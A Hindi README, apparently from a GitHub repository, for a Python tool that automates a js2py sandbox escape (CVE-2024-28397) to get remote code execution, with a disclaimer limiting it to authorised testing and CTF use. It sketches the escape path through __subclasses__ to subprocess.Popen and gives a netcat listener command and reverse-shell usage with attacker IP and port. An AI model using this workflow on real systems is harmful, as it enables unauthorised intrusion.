l1337xi/cve-2024-28397-exploit-automationएक Python ऑटोमेशन स्क्रिप्ट जो **js2py सैंडबॉक्स एस्केप** भेद्यता (CVE-2024-28397) का शोषण करने के लिए है। यह टूल पेलोड जनरेशन और डिलीवरी प्रक्रिया को स्वचालित करता है ताकि असुरक्षित इंस्टेंस पर रिमोट कोड एक्जीक्यूशन (RCE) प्राप्त किया जा सके।
js2py सैंडबॉक्स एस्केप भेद्यता (CVE-2024-28397) का शोषण करने के लिए एक पायथन ऑटोमेशन स्क्रिप्ट। यह उपकरण कमजोर इंस्टेंस पर रिमोट कोड एक्जीक्यूशन (RCE) प्राप्त करने के लिए पेलोड जनरेशन और डिलीवरी प्रक्रिया को स्वचालित करता है।
⚠️ कानूनी अस्वीकरण बिना पूर्व आपसी सहमति के लक्ष्यों पर हमला करने के लिए इस उपकरण का उपयोग अवैध है। यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों के लिए है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। यह उपकरण अधिकृत सुरक्षा मूल्यांकन और कैप्चर द फ्लैग (CTF) वातावरण में उपयोग के लिए है।
CVE-2024-28397 js2py लाइब्रेरी (संस्करण < 0.74) को प्रभावित करता है। लाइब्रेरी जावास्क्रिप्ट वातावरण को होस्ट पायथन वातावरण से उचित रूप से अलग करने में विफल रहती है।
__class__ और __subclasses__ विशेषताओं तक पहुंच की अनुमति देता है।subprocess.Popen तक पहुंचने के लिए ऑब्जेक्ट पदानुक्रम को पार कर सकता है।pip install requests
अपना Netcat लिसनर शुरू करें :
nc -lvnp 1337
स्क्रिप्ट चलाएँ :
python3 exploit.py -u <target url> -i <attacker ip> -p <attacker port>
यहाँ एक कमजोर लक्ष्य (हैक द बॉक्स - कोडटू) के खिलाफ उपकरण का क्रियान्वयन दिखाया गया है:
पेलोड उत्पन्न करने और कॉलबैक ट्रिगर करने के लिए शोषण चलाना:
लिसनर पर रिवर्स शेल प्राप्त करना:
